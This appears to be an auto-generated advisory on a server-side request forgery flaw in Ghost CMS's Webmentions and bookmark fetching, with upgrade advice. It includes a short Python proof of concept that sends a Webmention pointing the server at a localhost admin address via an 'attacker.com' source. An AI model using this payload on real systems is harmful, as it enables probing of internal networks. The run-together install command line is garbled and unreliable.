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This vulnerability exists due to a validation flaw within specific core functionalities like bookmark fetching and Webmentions in the Ghost content management system. Unauthenticated attackers can exploit this logic loophole by supplying carefully crafted external inputs or URLs that bypass standard validation checks. When the application processes these components, its internal HTTP client executes requests targeting arbitrary endpoints specified by the user input. Because input filtering fails to adequately restrict destinations against internal network ranges, the server can be tricked into communicating with internal services or local network infrastructure. Although the application does not return any response data back to the unauthenticated caller, this behavior enables internal network mapping, probing, and potential interaction with restricted backend services residing behind the perimeter firewall.
DailyCVE Form:
Platform: Ghost CMS
Version: v6.54.1 to v6.64.0
Vulnerability: SSRF
Severity: Moderate
date: September 24, 2026
Prediction: Already patched
What Undercode Say:
This vulnerability demonstrates the critical need for strict URL schema validation and proper network boundary enforcement in Node.js applications handling remote resources. Developers must ensure that user-supplied URLs are thoroughly checked against a whitelist or validated to block private IP space addresses before initiating outgoing socket connections.
Bash Commands and Codes:
docker pull ghost:6.65.0 ghost update --force npm install [email protected]
Exploit: (Educational Purposes!)
import requests
target = "https://vulnerable-ghost-instance.com/ghost/api/v3/webmentions/"
payload = {
"source": "https://attacker.com/note",
"target": "http://127.0.0.1:8080/internal-admin"
}
response = requests.post(target, json=payload)
print(response.status_code)
Protection:
Upgrade your Ghost instance immediately to version 6.65.0 or later where validation checks for bookmark fetching and Webmentions have been properly secured.
Impact:
Unauthenticated remote actors can leverage application features to probe internal network configurations, interact with local microservices, and bypass network perimeter controls.
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Sources:
Reported By: github.com
Extra Source Hub:
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